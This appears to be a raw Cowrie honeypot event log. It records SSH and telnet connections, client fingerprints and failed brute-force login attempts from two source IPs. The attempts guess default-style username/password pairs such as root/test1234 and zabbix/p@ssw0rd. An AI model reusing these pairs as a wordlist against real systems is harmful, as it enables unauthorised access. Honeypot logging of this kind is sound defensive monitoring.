{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:46.848014Z","src_ip":"45.156.87.69","session":"c4ca9b44a54b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:47.659725Z","src_ip":"45.156.87.69","session":"c4ca9b44a54b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37598,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0a4baaf1ab0","protocol":"telnet","message":"New connection: 152.42.224.71:37598 (10.17.0.5:23) [session: f0a4baaf1ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:48.720236Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:48.753419Z","src_ip":"45.156.87.69","session":"c4ca9b44a54b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37602,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdbf38f32baa","protocol":"telnet","message":"New connection: 152.42.224.71:37602 (10.17.0.5:23) [session: cdbf38f32baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:49.731743Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":54070,"dst_ip":"159.203.135.109","dst_port":22,"session":"786f33cec265","protocol":"ssh","message":"New connection: 45.156.87.69:54070 (159.203.135.109:22) [session: 786f33cec265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:50.408493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:50.421852Z","src_ip":"45.156.87.69","session":"786f33cec265","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:50.526047Z","src_ip":"45.156.87.69","session":"786f33cec265","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"b2","password":"123","message":"login attempt [b2/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:51.316619Z","src_ip":"45.156.87.69","session":"786f33cec265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:52.450335Z","src_ip":"45.156.87.69","session":"786f33cec265","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":54076,"dst_ip":"159.203.135.109","dst_port":22,"session":"a36be0736e39","protocol":"ssh","message":"New connection: 45.156.87.69:54076 (159.203.135.109:22) [session: a36be0736e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:54.124701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:54.128695Z","src_ip":"45.156.87.69","session":"a36be0736e39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:54.219287Z","src_ip":"45.156.87.69","session":"a36be0736e39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:54.614718Z","src_ip":"45.156.87.69","session":"a36be0736e39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:55.700344Z","src_ip":"45.156.87.69","session":"a36be0736e39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":43514,"dst_ip":"159.203.135.109","dst_port":22,"session":"50167c81ffb5","protocol":"ssh","message":"New connection: 45.156.87.69:43514 (159.203.135.109:22) [session: 50167c81ffb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:57.787902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:57.793399Z","src_ip":"45.156.87.69","session":"50167c81ffb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:57.901525Z","src_ip":"45.156.87.69","session":"50167c81ffb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:58.226168Z","src_ip":"45.156.87.69","session":"50167c81ffb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:59.311773Z","src_ip":"45.156.87.69","session":"50167c81ffb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":43526,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bdfae738243","protocol":"ssh","message":"New connection: 45.156.87.69:43526 (159.203.135.109:22) [session: 7bdfae738243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:01.295553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:01.300822Z","src_ip":"45.156.87.69","session":"7bdfae738243","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:01.398249Z","src_ip":"45.156.87.69","session":"7bdfae738243","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"p@ssw0rd","message":"login attempt [zabbix/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:01.735120Z","src_ip":"45.156.87.69","session":"7bdfae738243","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:02.822842Z","src_ip":"45.156.87.69","session":"7bdfae738243","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":43534,"dst_ip":"159.203.135.109","dst_port":22,"session":"e87ca83d9a4f","protocol":"ssh","message":"New connection: 45.156.87.69:43534 (159.203.135.109:22) [session: e87ca83d9a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:04.823713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:04.828991Z","src_ip":"45.156.87.69","session":"e87ca83d9a4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:05.037278Z","src_ip":"45.156.87.69","session":"e87ca83d9a4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"1","message":"login attempt [openclaw/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:05.459338Z","src_ip":"45.156.87.69","session":"e87ca83d9a4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":73.1543619632721,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:06.203077Z","src_ip":"152.42.224.71","session":"867ffe79fbbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:06.618855Z","src_ip":"45.156.87.69","session":"e87ca83d9a4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":42546,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb6e797e4aab","protocol":"ssh","message":"New connection: 45.156.87.69:42546 (159.203.135.109:22) [session: bb6e797e4aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:08.406016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:08.448947Z","src_ip":"45.156.87.69","session":"bb6e797e4aab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:08.553079Z","src_ip":"45.156.87.69","session":"bb6e797e4aab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:09.119117Z","src_ip":"45.156.87.69","session":"bb6e797e4aab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:10.204495Z","src_ip":"45.156.87.69","session":"bb6e797e4aab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45438,"dst_ip":"10.17.0.5","dst_port":23,"session":"483da6207ea3","protocol":"telnet","message":"New connection: 152.42.224.71:45438 (10.17.0.5:23) [session: 483da6207ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:11.424563Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45442,"dst_ip":"10.17.0.5","dst_port":23,"session":"b51339dc5edc","protocol":"telnet","message":"New connection: 152.42.224.71:45442 (10.17.0.5:23) [session: b51339dc5edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:11.863342Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":42548,"dst_ip":"159.203.135.109","dst_port":22,"session":"b33bb7f7c7b1","protocol":"ssh","message":"New connection: 45.156.87.69:42548 (159.203.135.109:22) [session: b33bb7f7c7b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:12.164207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:12.169500Z","src_ip":"45.156.87.69","session":"b33bb7f7c7b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:12.295967Z","src_ip":"45.156.87.69","session":"b33bb7f7c7b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:12.904717Z","src_ip":"45.156.87.69","session":"b33bb7f7c7b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:14.022759Z","src_ip":"45.156.87.69","session":"b33bb7f7c7b1","protocol":"ssh"}
